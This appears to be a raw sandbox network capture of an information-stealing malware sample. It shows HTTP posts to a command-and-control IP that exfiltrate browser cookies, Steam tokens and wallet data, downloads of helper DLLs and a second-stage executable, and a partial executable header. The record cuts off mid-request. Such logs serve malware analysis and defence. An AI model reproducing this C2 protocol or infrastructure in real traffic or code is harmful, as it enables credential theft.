00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 01:29:10 GMTContent-Type: application/octet-streamContent-Length: 4401152Last-Modified: Wed, 27 Nov 2024 23:23:30 GMTConnection: keep-aliveETag: "6747a9f2-432800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 b0 c5 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c5 00 00 04 00 00 b9 d9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 92 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 92 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 37 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 7a 79 77 6d 78 76 78 00 c0 1a 00 00 e0 aa 00 00 b6 1a 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 73 61 61 73 71 6d 69 00 10 00 00 00 a0 c5 00 00 04 00 00 00 02 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c5 00 00 22 00 00 00 06 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 34 41 38 46 38 42 33 36 41 38 33 31 34 38 31 35 32 38 31 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"A84A8F8B36A83148152816------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"mars------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="message"browsers------AEBKECFCFBGCAAKEGIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"plugins------GCAFCAFHJJDBFIECFBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"fplugins------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 6751Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 2d 2d 0d 0a Data Ascii: ------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="file"------AEGHCFIDAKJEBGCAFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="file"------ECAFHDBGHJKFIDHJJJEB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"wallets------FIEHDBGDHDAECBGDHJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="message"files------DGCGDBGCAAEBFIECGHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file"------BKEBFHIJECFIDGDGCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"ybncbhylepme------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 